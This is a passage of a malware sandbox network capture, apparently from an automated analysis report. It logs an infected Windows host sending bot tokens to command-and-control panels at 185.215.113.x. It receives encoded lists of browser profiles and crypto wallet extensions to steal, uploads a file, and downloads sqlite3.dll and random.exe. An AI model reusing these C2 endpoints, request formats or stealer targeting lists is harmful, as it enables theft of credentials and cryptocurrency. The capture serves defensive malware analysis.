name="build"mars------AFCFHJJECAEHJJKEHIDB--
Nov 18, 2024 23:04:37.416558981 CET	407	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 22:04:37 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 180 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 59 7a 67 78 4e 47 46 6b 4d 54 4d 32 4d 57 5a 69 4e 6d 45 32 4e 7a 6b 7a 4d 6d 52 6a 4e 7a 41 30 59 54 59 77 4e 6d 51 32 5a 57 45 77 4e 6d 51 78 5a 6a 46 69 4f 54 63 32 59 57 4a 6c 4e 7a 63 31 4f 47 49 78 4f 57 4d 34 4f 54 41 77 4f 47 5a 6a 59 6d 45 34 4e 57 55 34 4d 57 4a 6a 4e 57 55 30 66 48 64 72 61 32 70 78 59 57 6c 68 65 47 74 6f 59 6e 78 7a 62 57 70 73 62 47 31 35 62 57 78 69 65 6e 45 75 63 48 64 6b 66 44 42 38 4d 48 77 78 66 44 46 38 4d 58 77 78 66 44 46 38 4d 58 77 77 66 48 6c 69 62 6d 4e 69 61 48 6c 73 5a 58 42 74 5a 58 77 3d Data Ascii: YzgxNGFkMTM2MWZiNmE2NzkzMmRjNzA0YTYwNmQ2ZWEwNmQxZjFiOTc2YWJlNzc1OGIxOWM4OTAwOGZjYmE4NWU4MWJjNWU0fHdra2pxYWlheGtoYnxzbWpsbG15bWxienEucHdkfDB8MHwxfDF8MXwxfDF8MXwwfHlibmNiaHlsZXBtZXw=
Nov 18, 2024 23:04:37.488481998 CET	470	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----KJDGDBFBGIDGIEBGHCGI Host: 185.215.113.206 Content-Length: 268 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 4b 4a 44 47 44 42 46 42 47 49 44 47 49 45 42 47 48 43 47 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 63 38 31 34 61 64 31 33 36 31 66 62 36 61 36 37 39 33 32 64 63 37 30 34 61 36 30 36 64 36 65 61 30 36 64 31 66 31 62 39 37 36 61 62 65 37 37 35 38 62 31 39 63 38 39 30 30 38 66 63 62 61 38 35 65 38 31 62 63 35 65 34 0d 0a 2d 2d 2d 2d 2d 2d 4b 4a 44 47 44 42 46 42 47 49 44 47 49 45 42 47 48 43 47 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 62 72 6f 77 73 65 72 73 0d 0a 2d 2d 2d 2d 2d 2d 4b 4a 44 47 44 42 46 42 47 49 44 47 49 45 42 47 48 43 47 49 2d 2d 0d 0a Data Ascii: ------KJDGDBFBGIDGIEBGHCGIContent-Disposition: form-data; name="token"c814ad1361fb6a67932dc704a606d6ea06d1f1b976abe7758b19c89008fcba85e81bc5e4------KJDGDBFBGIDGIEBGHCGIContent-Disposition: form-data; name="message"browsers------KJDGDBFBGIDGIEBGHCGI--
Nov 18, 2024 23:04:37.773550987 CET	1236	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 22:04:37 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 2028 Keep-Alive: timeout=5, max=98 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 52 32 39 76 5a 32 78 6c 49 45 4e 6f 63 6d 39 74 5a 58 78 63 52 32 39 76 5a 32 78 6c 58 45 4e 6f 63 6d 39 74 5a 56 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 47 4e 6f 63 6d 39 74 5a 53 35 6c 65 47 56 38 51 7a 70 63 55 48 4a 76 5a 33 4a 68 62 53 42 47 61 57 78 6c 63 31 78 48 62 32 39 6e 62 47 56 63 51 32 68 79 62 32 31 6c 58 45 46 77 63 47 78 70 59 32 46 30 61 57 39 75 58 48 78 48 62 32 39 6e 62 47 55 67 51 32 68 79 62 32 31 6c 49 45 4e 68 62 6d 46 79 65 58 78 63 52 32 39 76 5a 32 78 6c 58 45 4e 6f 63 6d 39 74 5a 53 42 54 65 46 4e 63 56 58 4e 6c 63 69 42 45 59 58 52 68 66 47 4e 6f 63 6d 39 74 5a 58 78 6a 61 48 4a 76 62 57 55 75 5a 58 68 6c 66 44 42 38 51 32 68 79 62 32 31 70 64 57 31 38 58 45 4e 6f 63 6d 39 74 61 58 56 74 58 46 56 7a 5a 58 49 67 52 47 46 30 59 58 78 6a 61 48 4a 76 62 57 56 38 59 32 68 79 62 32 31 6c 4c 6d 56 34 5a 58 77 77 66 45 46 74 61 57 64 76 66 46 78 42 62 57 6c 6e 62 31 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 44 42 38 4d 48 [TRUNCATED] Data Ascii: R29vZ2xlIENocm9tZXxcR29vZ2xlXENocm9tZVxVc2VyIERhdGF8Y2hyb21lfGNocm9tZS5leGV8QzpcUHJvZ3JhbSBGaWxlc1xHb29nbGVcQ2hyb21lXEFwcGxpY2F0aW9uXHxHb29nbGUgQ2hyb21lIENhbmFyeXxcR29vZ2xlXENocm9tZSBTeFNcVXNlciBEYXRhfGNocm9tZXxjaHJvbWUuZXhlfDB8Q2hyb21pdW18XENocm9taXVtXFVzZXIgRGF0YXxjaHJvbWV8Y2hyb21lLmV4ZXwwfEFtaWdvfFxBbWlnb1xVc2VyIERhdGF8Y2hyb21lfDB8MHxUb3JjaHxcVG9yY2hcVXNlciBEYXRhfGNocm9tZXwwfDB8Vml2YWxkaXxcVml2YWxkaVxVc2VyIERhdGF8Y2hyb21lfHZpdmFsZGkuZXhlfCVMT0NBTEFQUERBVEElXFZpdmFsZGlcQXBwbGljYXRpb25cfENvbW9kbyBEcmFnb258XENvbW9kb1xEcmFnb25cVXNlciBEYXRhfGNocm9tZXwwfDB8RXBpY1ByaXZhY3lCcm93c2VyfFxFcGljIFByaXZhY3kgQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfGVwaWMuZXhlfCVMT0NBTEFQUERBVEElXEVwaWMgUHJpdmFjeSBCcm93c2VyXEFwcGxpY2F0aW9uXHxDb2NDb2N8XENvY0NvY1xCcm93c2VyXFVzZXIgRGF0YXxjaHJvbWV8YnJvd3Nlci5leGV8QzpcUHJvZ3JhbSBGaWxlc1xDb2NDb2NcQnJvd3NlclxBcHBsaWNhdGlvblx8QnJhdmV8XEJyYXZlU29mdHdhcmVcQnJhdmUtQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfGJyYXZlLmV4ZXxDOlxQcm9ncmFtIEZpbGVzXEJyYXZlU29mdHdhcmVcQnJhdmUtQnJvd3NlclxBcHBsaWNhdGlvblx8Q2Vu
Nov 18, 2024 23:04:37.773565054 CET	112	IN	Data Raw: 64 43 42 43 63 6d 39 33 63 32 56 79 66 46 78 44 5a 57 35 30 51 6e 4a 76 64 33 4e 6c 63 6c 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 47 4e 6f 63 6d 39 74 5a 53 35 6c 65 47 56 38 4a 55 78 50 51 30 46 4d 51 56 42 51 52 45 Data Ascii: dCBCcm93c2VyfFxDZW50QnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfGNocm9tZS5leGV8JUxPQ0FMQVBQREFUQSVcQ2VudEJyb3dzZXJcQXBwbGlj
Nov 18, 2024 23:04:37.773576021 CET	908	IN	Data Raw: 59 58 52 70 62 32 35 63 66 44 64 54 64 47 46 79 66 46 77 33 55 33 52 68 63 6c 77 33 55 33 52 68 63 6c 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 44 42 38 4d 48 78 44 61 47 56 6b 62 33 51 67 51 6e 4a 76 64 33 4e 6c 63 6e Data Ascii: YXRpb25cfDdTdGFyfFw3U3Rhclw3U3RhclxVc2VyIERhdGF8Y2hyb21lfDB8MHxDaGVkb3QgQnJvd3NlcnxcQ2hlZG90XFVzZXIgRGF0YXxjaHJvbWV8MHwwfE1pY3Jvc29mdCBFZGdlfFxNaWNyb3NvZnRcRWRnZVxVc2VyIERhdGF8Y2hyb21lfG1zZWRnZS5leGV8QzpcUHJvZ3JhbSBGaWxlcyAoeDg2KVxNaWNyb3NvZnR
Nov 18, 2024 23:04:37.787345886 CET	469	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----KJDHCAFCGDAAKEBFIJDG Host: 185.215.113.206 Content-Length: 267 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 4b 4a 44 48 43 41 46 43 47 44 41 41 4b 45 42 46 49 4a 44 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 63 38 31 34 61 64 31 33 36 31 66 62 36 61 36 37 39 33 32 64 63 37 30 34 61 36 30 36 64 36 65 61 30 36 64 31 66 31 62 39 37 36 61 62 65 37 37 35 38 62 31 39 63 38 39 30 30 38 66 63 62 61 38 35 65 38 31 62 63 35 65 34 0d 0a 2d 2d 2d 2d 2d 2d 4b 4a 44 48 43 41 46 43 47 44 41 41 4b 45 42 46 49 4a 44 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 4b 4a 44 48 43 41 46 43 47 44 41 41 4b 45 42 46 49 4a 44 47 2d 2d 0d 0a Data Ascii: ------KJDHCAFCGDAAKEBFIJDGContent-Disposition: form-data; name="token"c814ad1361fb6a67932dc704a606d6ea06d1f1b976abe7758b19c89008fcba85e81bc5e4------KJDHCAFCGDAAKEBFIJDGContent-Disposition: form-data; name="message"plugins------KJDHCAFCGDAAKEBFIJDG--
Nov 18, 2024 23:04:38.072208881 CET	1236	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 22:04:37 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 7116 Keep-Alive: timeout=5, max=97 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 54 57 56 30 59 55 31 68 63 32 74 38 5a 47 70 6a 62 47 4e 72 61 32 64 73 5a 57 4e 6f 62 32 39 69 62 47 35 6e 5a 32 68 6b 61 57 35 74 5a 57 56 74 61 32 4a 6e 59 32 6c 38 4d 58 77 77 66 44 42 38 54 57 56 30 59 55 31 68 63 32 74 38 5a 57 70 69 59 57 78 69 59 57 74 76 63 47 78 6a 61 47 78 6e 61 47 56 6a 5a 47 46 73 62 57 56 6c 5a 57 46 71 62 6d 6c 74 61 47 31 38 4d 58 77 77 66 44 42 38 54 57 56 30 59 55 31 68 63 32 74 38 62 6d 74 69 61 57 68 6d 59 6d 56 76 5a 32 46 6c 59 57 39 6c 61 47 78 6c 5a 6d 35 72 62 32 52 69 5a 57 5a 6e 63 47 64 72 62 6d 35 38 4d 58 77 77 66 44 42 38 56 48 4a 76 62 6b 78 70 62 6d 74 38 61 57 4a 75 5a 57 70 6b 5a 6d 70 74 62 57 74 77 59 32 35 73 63 47 56 69 61 32 78 74 62 6d 74 76 5a 57 39 70 61 47 39 6d 5a 57 4e 38 4d 58 77 77 66 44 42 38 51 6d 6c 75 59 57 35 6a 5a 53 42 58 59 57 78 73 5a 58 52 38 5a 6d 68 69 62 32 68 70 62 57 46 6c 62 47 4a 76 61 48 42 71 59 6d 4a 73 5a 47 4e 75 5a 32 4e 75 59 58 42 75 5a 47 39 6b 61 6e 42 38 4d 58 77 77 66 44 42 38 57 57 39 79 62 32 6c 38 5a 6d [TRUNCATED] Data Ascii: TWV0YU1hc2t8ZGpjbGNra2dsZWNob29ibG5nZ2hkaW5tZWVta2JnY2l8MXwwfDB8TWV0YU1hc2t8ZWpiYWxiYWtvcGxjaGxnaGVjZGFsbWVlZWFqbmltaG18MXwwfDB8TWV0YU1hc2t8bmtiaWhmYmVvZ2FlYW9laGxlZm5rb2RiZWZncGdrbm58MXwwfDB8VHJvbkxpbmt8aWJuZWpkZmptbWtwY25scGVia2xtbmtvZW9paG9mZWN8MXwwfDB8QmluYW5jZSBXYWxsZXR8Zmhib2hpbWFlbGJvaHBqYmJsZGNuZ2NuYXBuZG9kanB8MXwwfDB8WW9yb2l8ZmZuYmVsZmRvZWlvaGVua2ppYm5tYWRqaWVoamhhamJ8MXwwfDB8Q29pbmJhc2UgV2FsbGV0IGV4dGVuc2lvbnxobmZhbmtub2NmZW9mYmRkZ2Npam5taG5mbmtkbmFhZHwxfDB8MXxHdWFyZGF8aHBnbGZoZ2ZuaGJncGpkZW5qZ21kZ29laWFwcGFmbG58MXwwfDB8SmF4eCBMaWJlcnR5fGNqZWxmcGxwbGViZGpqZW5sbHBqY2JsbWprZmNmZm5lfDF8MHwwfGlXYWxsZXR8a25jY2hkaWdvYmdoZW5iYmFkZG9qam5uYW9nZnBwZmp8MXwwfDB8TUVXIENYfG5sYm1ubmlqY25sZWdrampwY2ZqY2xtY2ZnZ2ZlZmRtfDF8MHwwfEd1aWxkV2FsbGV0fG5hbmptZGtuaGtpbmlmbmtnZGNnZ2NmbmhkYWFtbW1qfDF8MHwwfFJvbmluIFdhbGxldHxmbmpobWtoaG1rYmpra2FibmRjbm5vZ2Fnb2dibmVlY3wxfDB8MHxOZW9MaW5lfGNwaGhsZ21nYW1lb2RuaGtqZG1rcGFubGVsbmxvaGFvfDF8MHwwfENMViBXYWxsZXR8bmhua2JrZ2ppa2djaWdhZG9ta3BoYWxhbm5kY2Fwamt8MXwwfDB8TGlxdWFsaXR5
Nov 18, 2024 23:04:38.072329044 CET	112	IN	Data Raw: 49 46 64 68 62 47 78 6c 64 48 78 72 63 47 5a 76 63 47 74 6c 62 47 31 68 63 47 4e 76 61 58 42 6c 62 57 5a 6c 62 6d 52 74 5a 47 4e 6e 61 47 35 6c 5a 32 6c 74 62 6e 77 78 66 44 42 38 4d 48 78 55 5a 58 4a 79 59 53 42 54 64 47 46 30 61 57 39 75 49 46 Data Ascii: IFdhbGxldHxrcGZvcGtlbG1hcGNvaXBlbWZlbmRtZGNnaG5lZ2ltbnwxfDB8MHxUZXJyYSBTdGF0aW9uIFdhbGxldHxhaWlmYm5iZm9icG1lZWtp
Nov 18, 2024 23:04:38.072338104 CET	1236	IN	Data Raw: 63 47 68 6c 5a 57 6c 71 61 57 31 6b 63 47 35 73 63 47 64 77 63 48 77 78 66 44 42 38 4d 48 78 4c 5a 58 42 73 63 6e 78 6b 62 57 74 68 62 57 4e 72 62 6d 39 6e 61 32 64 6a 5a 47 5a 6f 61 47 4a 6b 5a 47 4e 6e 61 47 46 6a 61 47 74 6c 61 6d 56 68 63 48 Data Ascii: cGhlZWlqaW1kcG5scGdwcHwxfDB8MHxLZXBscnxkbWthbWNrbm9na2djZGZoaGJkZGNnaGFjaGtlamVhcHwxfDB8MHxTb2xsZXR8ZmhtZmVuZGdkb2NtY2JtZmlrZGNvZ29mcGhpbW5rbm98MXwwfDB8QXVybyBXYWxsZXQoTWluYSBQcm90b2NvbCl8Y25tYW1hYWNocHBua2pnbmlsZHBkbWthYWtlam5oYWV8MXwwfDB8UG9
Nov 18, 2024 23:04:38.072402000 CET	1236	IN	Data Raw: 61 6d 39 38 4d 58 77 77 66 44 42 38 55 32 39 73 5a 6d 78 68 63 6d 55 67 56 32 46 73 62 47 56 30 66 47 4a 6f 61 47 68 73 59 6d 56 77 5a 47 74 69 59 58 42 68 5a 47 70 6b 62 6d 35 76 61 6d 74 69 5a 32 6c 76 61 57 39 6b 59 6d 6c 6a 66 44 46 38 4d 48 Data Ascii: am98MXwwfDB8U29sZmxhcmUgV2FsbGV0fGJoaGhsYmVwZGtiYXBhZGpkbm5vamtiZ2lvaW9kYmljfDF8MHwwfEN5YW5vIFdhbGxldHxka2RlZGxwZ2RtbWtrZmphYmZmZWdhbmllYW1ma2xrbXwxfDB8MHxLSEN8aGNmbHBpbmNwcHBkY2xpbmVhbG1hbmRpamNtbmtiZ258MXwwfDB8VGV6Qm94fG1uZmlmZWZrYWpnb2ZrY2p
Nov 18, 2024 23:04:38.072415113 CET	1236	IN	Data Raw: 5a 32 70 6c 62 57 56 72 5a 57 4a 6b 63 47 56 76 61 32 4a 70 61 32 68 6d 59 32 6c 38 4d 58 77 77 66 44 42 38 54 57 46 79 64 47 6c 68 62 69 42 42 63 48 52 76 63 79 42 58 59 57 78 73 5a 58 52 38 5a 57 5a 69 5a 32 78 6e 62 32 5a 76 61 58 42 77 59 6d Data Ascii: Z2plbWVrZWJkcGVva2Jpa2hmY2l8MXwwfDB8TWFydGlhbiBBcHRvcyBXYWxsZXR8ZWZiZ2xnb2ZvaXBwYmdjamVwbmhpYmxhaWJjbmNsZ2t8MXwwfDB8RmlubmllfGNqbWtuZGpobmFnY2ZicGllbW5rZHBvbWNjbmpibG1qfDF8MHwwfExlYXAgVGVycmEgV2FsbGV0fGFpamNiZWRvaWptZ25sbWplZWdqYWdsbWVwYm1wa3B
Nov 18, 2024 23:04:38.072426081 CET	1236	IN	Data Raw: 62 47 31 6e 59 57 35 6d 59 57 46 73 61 32 78 69 66 44 46 38 4d 48 77 77 66 45 4e 76 62 57 31 76 62 6b 74 6c 65 58 78 6a 61 47 64 6d 5a 57 5a 71 63 47 4e 76 59 6d 5a 69 62 6e 42 74 61 57 39 72 5a 6d 70 71 59 57 64 73 59 57 68 74 62 6d 52 6c 5a 48 Data Ascii: bG1nYW5mYWFsa2xifDF8MHwwfENvbW1vbktleXxjaGdmZWZqcGNvYmZibnBtaW9rZmpqYWdsYWhtbmRlZHwxfDB8MHxab2hvIFZhdWx0fGlna3Bjb2RoaWVvbXBlbG9uY2ZuYmVrY2NpbmhhcGRifDF8MHwwfE9wZXJhIFdhbGxldHxnb2poY2RnY3BicGZpZ2NhZWpwZmhmZWdla2RnaWJsa3wwfDB8MXxUcnVzdCBXYWxsZXR
Nov 18, 2024 23:04:38.072443008 CET	1052	IN	Data Raw: 63 47 4e 6e 5a 57 78 76 63 47 64 38 4d 58 77 77 66 44 42 38 51 32 39 74 63 47 46 7a 63 79 42 58 59 57 78 73 5a 58 51 67 5a 6d 39 79 49 46 4e 6c 61 58 78 68 62 6d 39 72 5a 32 31 77 61 47 35 6a 63 47 56 72 61 32 68 6a 62 47 31 70 62 6d 64 77 61 57 Data Ascii: cGNnZWxvcGd8MXwwfDB8Q29tcGFzcyBXYWxsZXQgZm9yIFNlaXxhbm9rZ21waG5jcGVra2hjbG1pbmdwaW1qbWNvb2lmYnwxfDB8MHxIQVZBSCBXYWxsZXR8Y25uY21kaGphY3BrbWpta2NhZmNocHBibnBuaGRtb258MXwwfDB8RWxsaSAtIFN1aSBXYWxsZXR8b2NqZHBtb2FsbG1nbWpiYm9nZmlpYW9mcGhiamdjaGh8MXw
Nov 18, 2024 23:04:38.073764086 CET	470	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----FIIECFHDBAAECAAKFHDH Host: 185.215.113.206 Content-Length: 268 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 46 49 49 45 43 46 48 44 42 41 41 45 43 41 41 4b 46 48 44 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 63 38 31 34 61 64 31 33 36 31 66 62 36 61 36 37 39 33 32 64 63 37 30 34 61 36 30 36 64 36 65 61 30 36 64 31 66 31 62 39 37 36 61 62 65 37 37 35 38 62 31 39 63 38 39 30 30 38 66 63 62 61 38 35 65 38 31 62 63 35 65 34 0d 0a 2d 2d 2d 2d 2d 2d 46 49 49 45 43 46 48 44 42 41 41 45 43 41 41 4b 46 48 44 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 46 49 49 45 43 46 48 44 42 41 41 45 43 41 41 4b 46 48 44 48 2d 2d 0d 0a Data Ascii: ------FIIECFHDBAAECAAKFHDHContent-Disposition: form-data; name="token"c814ad1361fb6a67932dc704a606d6ea06d1f1b976abe7758b19c89008fcba85e81bc5e4------FIIECFHDBAAECAAKFHDHContent-Disposition: form-data; name="message"fplugins------FIIECFHDBAAECAAKFHDH--
Nov 18, 2024 23:04:38.363035917 CET	335	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 22:04:38 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 108 Keep-Alive: timeout=5, max=96 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 54 57 56 30 59 55 31 68 63 32 74 38 4d 48 78 33 5a 57 4a 6c 65 48 52 6c 62 6e 4e 70 62 32 35 41 62 57 56 30 59 57 31 68 63 32 73 75 61 57 39 38 55 6d 39 75 61 57 34 67 56 32 46 73 62 47 56 30 66 44 42 38 63 6d 39 75 61 57 34 74 64 32 46 73 62 47 56 30 51 47 46 34 61 57 56 70 62 6d 5a 70 62 6d 6c 30 65 53 35 6a 62 32 31 38 Data Ascii: TWV0YU1hc2t8MHx3ZWJleHRlbnNpb25AbWV0YW1hc2suaW98Um9uaW4gV2FsbGV0fDB8cm9uaW4td2FsbGV0QGF4aWVpbmZpbml0eS5jb218
Nov 18, 2024 23:04:38.406805992 CET	203	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----AKJDGDGDHDGDBFIDHDBA Host: 185.215.113.206 Content-Length: 6903 Connection: Keep-Alive Cache-Control: no-cache
Nov 18, 2024 23:04:38.406869888 CET	6903	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 41 4b 4a 44 47 44 47 44 48 44 47 44 42 46 49 44 48 44 42 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 63 38 31 34 61 64 Data Ascii: ------AKJDGDGDHDGDBFIDHDBAContent-Disposition: form-data; name="token"c814ad1361fb6a67932dc704a606d6ea06d1f1b976abe7758b19c89008fcba85e81bc5e4------AKJDGDGDHDGDBFIDHDBAContent-Disposition: form-data; name="file_name"c3lzdGVtX2luZ
Nov 18, 2024 23:04:39.210634947 CET	202	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 22:04:38 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=95 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 18, 2024 23:04:39.497555017 CET	94	OUT	GET /68b591d6548ec281/sqlite3.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Nov 18, 2024 23:04:39.779476881 CET	1236	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 22:04:39 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 11:30:30 GMT ETag: "10e436-5e7ec6832a180" Accept-Ranges: bytes Content-Length: 1106998 Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 12 00 d7 dd 15 63 00 92 0e 00 bf 13 00 00 e0 00 06 21 0b 01 02 19 00 26 0b 00 00 16 0d 00 00 0a 00 00 00 14 00 00 00 10 00 00 00 40 0b 00 00 00 e0 61 00 10 00 00 00 02 00 00 04 00 00 00 01 00 00 00 04 00 00 00 00 00 00 00 00 30 0f 00 00 06 00 00 1c 3a 11 00 03 00 00 00 00 00 20 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 d0 0c 00 88 2a 00 00 00 00 0d 00 d0 0c 00 00 00 30 0d 00 a8 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 0d 00 18 3c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 20 0d 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PELc!&@a0: 0@< .text%&`P`.data\|'@(,@`.rdatapDpFT@`@.bss(`.edata,@0@.idata@0.CRT,@0.tls @0.rsrc0@0.reloc<@>@0B/48@@B/19R"@B/31]'`(@B/45-.@B/57\B@0B/70
Nov 18, 2024 23:04:39.779490948 CET	1236	IN	Data Raw: 00 00 23 03 00 00 00 d0 0e 00 00 04 00 00 00 4e 0e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 38 31 00 00 00 00 00 73 3a 00 00 00 e0 0e 00 00 3c 00 00 00 52 0e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 39 32 00 00 00 00 00 Data Ascii: #N@B/81s:<R@B/92P @B

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.4	49978	185.215.113.43	80	5544	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 18, 2024 23:04:40.459487915 CET	184	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 30 37 32 35 34 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1007254001&unit=246122658369
Nov 18, 2024 23:04:41.376363039 CET	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 18 Nov 2024 22:04:41 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.4	49985	185.215.113.16	80	5544	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 18, 2024 23:04:41.401456118 CET	54	OUT	GET /off/random.exe HTTP/1.1 Host: 185.215.113.16
Nov 18, 2024 23:04:42.323688030 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 18 Nov 2024 22:04:42 GMT Content-Type: application/octet-stream Content-Length: 2758144 Last-Modified: Mon, 18 Nov 2024 21:22:54 GMT Connection: keep-alive ETag: "673bb02e-2a1600" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 7a 86 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 50 28 2c 65 00 00 00 00 00 00 00 00 e0 00 22 00 0b 01 30 00 00 24 00 00 00 08 00 00 00 00 00 00 00 80 2a 00 00 20 00 00 00 60 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 c0 2a 00 00 04 00 00 bf 66 2a 00 02 00 60 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 55 80 00 00 69 00 00 00 00 60 00 00 9c 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 81 00 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@z!L!This program cannot be run in DOS mode.$PELP(,e"0$* `@ f`Ui` @ @.rsrc`2@.idata 8@xzifghis)):@jqrynsft `)@.taggant@")@
